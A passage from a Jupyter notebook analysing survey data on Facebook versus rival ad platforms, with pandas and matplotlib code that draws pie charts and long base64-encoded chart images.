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\n", + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "import matplotlib.pyplot as plt\n", + "import pandas as pd\n", + "import numpy as np\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB25.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "\n", + "plt.figure(figsize=(15,9))\n", + "plt.xlabel(\"Marketers’ most important platform, Facebook vs rivals\")\n", + "plt.pie(y, labels=x, colors=['r','g','b','c','m','y','orange'])\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Ad platforms used by markers, Facebook vs rivals" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Platform Percentage buying ads\n", + "0 Facebook 70\n", + "1 Instagram 41\n", + "2 Don’t use 26\n", + "3 LinkedIn 15\n", + "4 YouTube 14\n", + "5 Messenger 9\n", + "6 Twitter 8\n", + "7 Pinterest 4\n", + "8 Snapchat 1\n" + ] + }, + { + "data": { + "image/png": "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